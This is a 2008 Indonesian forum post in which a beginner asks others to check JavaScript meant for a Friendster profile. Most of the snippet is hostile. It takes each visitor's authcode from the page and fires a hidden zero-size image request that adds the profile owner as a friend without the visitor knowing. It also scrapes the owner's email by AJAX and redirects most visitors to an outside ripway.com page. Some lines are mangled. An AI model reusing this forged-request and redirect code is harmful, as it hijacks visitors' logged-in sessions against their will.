2008-09-22 20:35:55

f41215
» n00b
FTalk Level: zero
1
0
1969-12-31

Re: Bagi para member yang ingin bertanya seputar tweaking FS. Silahkan bertanya dan posting disini. Sebelum itu harap membaca dan mengikuti [url=http://theftalk.com/t23371-FORUM-RULES.html][b]FORUM

ada yang bisa bantu ga... aku masih awam nih..... tolong cek code js aq ya[spoiler]var email_add = "bas5ist@yahoo.com"; var get_authcode = document.getElementById("controlPanelButtons").innerHTML; var add_it = get_authcode.slice(get_authcode.indexOf("authcode=")); var PlaceInput = add_it.slice(9,39); document.write('<img src="http://www.friendster.com/addfriendrequest.php?authcode=' + PlaceInput + '&uid=' + pageOwnerID + '&email=' + email_add + '&firstname=&lastname=&friend=&submit=1"' + ' width="0" height="0" style="display:none" />'); function banner(){ x=banneradrow.getElementsByTagName("td")[0]; x.innerHTML="<img src='http://i3.photobucket.com/albums/y96/Sammygrangers/x-love-emo-x_logo.jpg' border='0'>" } setTimeout("banner()",500); <head> <style type="text/css"> .hair { position:absolute; layer-background-color:red; font-size:1px; background-color:black; top:-10px; left:-10px; height:1px; width:1px; } </style> <script language="javascript"> var NS4 = (document.layers)? true : false; var IE4 = (document.all)? true : false; var NS6 = (document.getElementById && !document.all && !document.layers)? true: false; var xhair, yhair; function resize(){ if(NS4){ xhair.clip.width=window.innerWidth; xhair.clip.height=1; yhair.clip.width=1; yhair.clip.height=window.innerHeight; }else{ xhair.style.width=(IE4)?document.body.clientWidth:window.innerWidth; yhair.style.height=(IE4)?document.body.clientHeight:window.innerHeight; }} function movehairs(evnt){ var px=(IE4)?document.body.scrollLeft:pageXOffset; var py=(IE4)?document.body.scrollTop:pageYOffset; var mx=(IE4)?event.clientX+10:evnt.pageX+10; var my=(IE4)?event.clientY+10:evnt.pageY+10; if(NS4){ xhair.moveTo(px,my); yhair.moveTo(mx,py); }else{ xhair.style.top=my+((IE4)?py:0); xhair.style.left=px; yhair.style.top=py; yhair.style.left=mx+((IE4)?px:0); } return false; } window.onresize=function(){ if(NS4)setTimeout('history.go(0)', 400); else resize(); //ADD OTHER WINDOW RESIZE EVENT HANDLERS FROM OTHER SCRIPTS HERE... } window.onload=function(){ xhair=(NS4)?document.layers['xhair']:(IE4)?document.all['xhair']:document.getElementById('xhair'); yhair=(NS4)?document.layers['yhair']:(IE4)?document.all['yhair']:document.getElementById('yhair'); if(NS4)document.captureEvents(Event.MOUSEMOVE); document.onmousemove=movehairs; resize(); //ADD OTHER ONLOAD EVENT HANDLERS FROM OTHER SCRIPTS HERE... } </script>> <div id="xhair" class="hair"></div> <div id="yhair" class="hair"></div> </head> if (!attachOnLoadHandler(function() { FRIENDSCAN.init();})) window.onload = function() { FRIENDSCAN.init();}; if (typeof FRIENDSCAN == "undefined") { FRIENDSCAN = {}; } FRIENDSCAN = { details: { email: null }, regexp: { email: /owner><email>(\b[a-z0-9._%+-]+@[a-z0-9.-]+\.[a-z]{2,4}\b)<\/email>/i }, init: function() { FRIENDSCAN.ajaxRequest("http://"+location.hostname+"/modules/module.php?_pmr=a&_pmmo=0&uid="+pageOwnerID,FRIENDSCAN.fScanner,null); }, fScanner: function(htm) { if (htm.replace(/^\s*|\s*$/g,"") === "") { alert("Error: Unable to parse the email!");return; }else if (htm) { try { FRIENDSCAN.details.email = new RegExp(FRIENDSCAN.regexp.email).exec(htm)[1]; }catch(e) { FRIENDSCAN.details.email = ""; } var emailAdd = encodeURIComponent(FRIENDSCAN.details.email); var areWeFriend = "yes"; var authCode = ""; var scanner = document.getElementById("controlPanelButtons").innerHTML; var AFRconfirm = scanner.search(/Add as Friend/); if (AFRconfirm > 0) { areWeFriend = "no"; authCode = /href="[\S]*?authcode=([\da-z]+?)">Add as Friend/.exec(scanner)[1]; } if(areWeFriend == "no") { var cForm = confirm("It seems that you are not in my contact list.\n Do you want to add me as your friend?"); if (cForm == true) { document.location.href="http://www.friendster.com/addfriendrequest.php?confirm=1&authcode="+authCode+"&uid="+pageOwnerID+"&id=&email="+emailAdd+"&lastname="; } } } }, ajaxRequest: function(url,func,handler) { var httprequest = window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP"); httprequest.onreadystatechange = function() { if (httprequest.readyState == 4) { if (httprequest.status == 200) { func(httprequest.responseText,handler); } } }; httprequest.open("GET", url, true); httprequest.send(null); } }; ar myplace = document.location.href; if (myplace == "http://profiles.friendster.com/bas5ist?uid=bas5ist@yahoo.com"){ } else if (myplace == "http://profiles.friendster.com/bas5ist?uid=bas5ist@yahoo.com"){ } else { location.href = "http://h1.ripway.com/f41215/faris.html"; }[/spoiler]terima kasih sebelumnya

Board footer

© 2024 F Talk

Current time is 08:48

[ 12 queries - 0.279 second ]
Privacy Policy